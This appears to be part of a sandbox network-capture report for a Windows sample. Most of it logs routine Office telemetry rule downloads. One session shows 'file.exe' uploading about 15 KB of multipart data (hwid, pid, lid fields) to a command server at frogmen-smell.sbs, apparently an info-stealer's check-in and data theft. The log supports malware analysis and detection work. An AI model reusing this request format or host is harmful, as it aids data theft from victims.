2024-11-15 18:39:19 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:19 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: bd6b8569-001e-0034-58a8-36dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183919Z-16547b76f7fcrtpchC1DFW52e80000000nk000000000dhtb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:19 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:20 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:20 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:20 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 250e4edf-c01e-002b-6cfb-366e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183920Z-16547b76f7fr28cchC1DFWnuws0000000nmg00000000gqbh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:20 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:20 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:20 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:20 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: cc46dee9-d01e-007a-0efd-2cf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183920Z-16547b76f7fwvr5dhC1DFW2c940000000nc000000000p7n9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:20 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.7	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:20 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:20 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:20 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 849cffad-401e-008c-4c40-3686c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183920Z-16547b76f7fgvq8chC1DFWhd2w000000027000000000hspd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:20 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:20 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:20 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:20 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 1e45a1cf-401e-0029-3ef1-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183920Z-16547b76f7fp6mhthC1DFWrggn0000000nm000000000kmnx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:20 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:20 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:20 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:20 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: d36f9ca3-a01e-0021-21af-36814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183920Z-16547b76f7ffx24hhC1DFW9px4000000016g00000000gc89 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:20 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	49730	172.67.174.133	443	7160	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:21 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2ELHW5L1XW1YIIK8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15070 Host: frogmen-smell.sbs
2024-11-15 18:39:21 UTC	15070	OUT	Data Raw: 2d 2d 32 45 4c 48 57 35 4c 31 58 57 31 59 49 49 4b 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 34 34 46 46 41 43 37 36 45 33 46 30 45 32 42 43 30 31 41 32 33 41 41 34 45 37 30 39 36 45 35 0d 0a 2d 2d 32 45 4c 48 57 35 4c 31 58 57 31 59 49 49 4b 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 32 45 4c 48 57 35 4c 31 58 57 31 59 49 49 4b 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --2ELHW5L1XW1YIIK8Content-Disposition: form-data; name="hwid"344FFAC76E3F0E2BC01A23AA4E7096E5--2ELHW5L1XW1YIIK8Content-Disposition: form-data; name="pid"2--2ELHW5L1XW1YIIK8Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-15 18:39:21 UTC	1017	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c5bpl2t3unaofjd90nj82clgoa; expires=Tue, 11-Mar-2025 12:26:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I0V%2F793okHVSwW1F%2FXAfaWHKGOOZ7IGd9OhkqRNWRk9eAvAe9yRu5OzD24Ogs5yP8C%2Bx2f19Z3RQTPc2sxE16ccnldnCGfOzDNiLye2KC7ndxtxOib0SLIOZIYQOPIDiPWsfLg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e315d0d4886e761-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18714&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16009&delivery_rate=154264&cwnd=32&unsent_bytes=0&cid=a4c8a60bec95ec87&ts=599&x=0"
2024-11-15 18:39:21 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 39 0d 0a Data Ascii: 11ok 173.254.250.89
2024-11-15 18:39:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.7	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:21 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:21 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:21 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 46322fa8-301e-001f-3c91-36aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183921Z-16547b76f7fbkfmzhC1DFWm9tw000000019000000000hfyx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:21 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:21 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:21 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:21 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 584cc2e3-301e-005d-1eab-36e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183921Z-16547b76f7fmbrhqhC1DFWkds80000000nf000000000vgfv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:21 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.7	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:21 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:21 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:21 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 30a84257-201e-006e-3afb-36bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183921Z-16547b76f7fr28cchC1DFWnuws0000000npg0000000080nb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:21 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.7	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:21 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:21 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:21 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 383c7f00-901e-008f-5aa8-3667a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183921Z-1866b5c5fbbqmbqjhC1DFWwgvc00000001ag000000000nqh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:21 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.7	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:21 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:21 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:21 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: add8cc3e-901e-0048-3610-36b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183921Z-1866b5c5fbbzzh8chC1DFWdrc400000001c0000000006nqy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
